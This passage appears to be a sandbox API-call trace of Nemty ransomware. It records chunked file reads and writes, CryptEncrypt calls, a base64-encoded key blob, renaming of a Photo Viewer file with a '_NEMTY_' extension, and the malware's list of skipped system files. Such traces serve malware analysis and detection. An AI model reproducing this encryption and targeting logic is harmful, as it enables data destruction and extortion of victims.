lpOverlapped=0x0) returned 0 [0108.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.675] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0108.681] CloseHandle (hObject=0xffffffff) returned 0 [0108.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0108.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0108.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0108.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0108.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0108.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0108.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0108.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0108.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0108.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0108.681] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoacq.dll.mui._nemty_kgobjgd_")) returned 0 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.682] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="...") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="windows") returned -1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="rsa") returned -1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="NTDETECT.COM") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="ntldr") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="MSDOS.SYS") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="IO.SYS") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="boot.ini") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="boot.ini") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="ntuser.dat") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="desktop.ini") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="CONFIG.SYS") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="RECYCLER") returned -1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="bootmgr") returned 1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="programdata") returned -1 [0108.682] lstrcmpiW (lpString1="PhotoViewer.dll.mui", lpString2="appdata") returned 1 [0108.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll.mui", lpUsedDefaultChar=0x0) returned 19 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll.mui", lpUsedDefaultChar=0x0) returned 19 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll.mui", lpUsedDefaultChar=0x0) returned 19 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.683] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll.mui", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll.mui", lpUsedDefaultChar=0x0) returned 19 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0108.683] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0108.683] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0108.683] Sleep (dwMilliseconds=0x5) [0108.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf46fb1b0, dwHighDateTime=0x1d561e7)) [0108.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf46fb1b0, dwHighDateTime=0x1d561e7)) [0108.699] GetLastError () returned 0x5 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0108.699] GetLastError () returned 0x5 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0108.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0108.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0108.699] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0108.699] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0108.699] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="/mung/7GA9dMOKod3tNh6NE3r0XPPN+GCiSy/ojMOk/TeVIT7jdb1k1dkFyW95pE\r\n7v060YcmTGdbX3ZHWaf94RC6acBmp1VhvsV25KK/cyFaXwN9RKHnpDDtfyXJE7Ra\r\nMHPdzZkpBXpyKH1MNYHVURWJSply419ldH4zfbF4Y5TF/SBJx3Y2pmy4FfNgLEyi\r\n+Bq+miZkrPhPe9QTz18cHgqni4nsXg7M8ZDjrjs1Q6bLSxTdNhgPRItxd/UWO6iw\r\nRhvv+Zn+kK8ccHxWQo/MqXOpxwQj8Q0HCOb30XSQ31IP+vUiswinBPyaJYOiz+re\r\nSDSeEg29ZZwO+OJtAdaPgA==\r\n", pcchString=0x653ef9c) returned 1 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0108.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0108.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0108.699] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\photoviewer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.699] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0108.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0108.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.700] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.718] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.812] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.812] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.812] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.831] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.831] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.831] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.840] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0108.840] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0108.840] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0108.846] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff 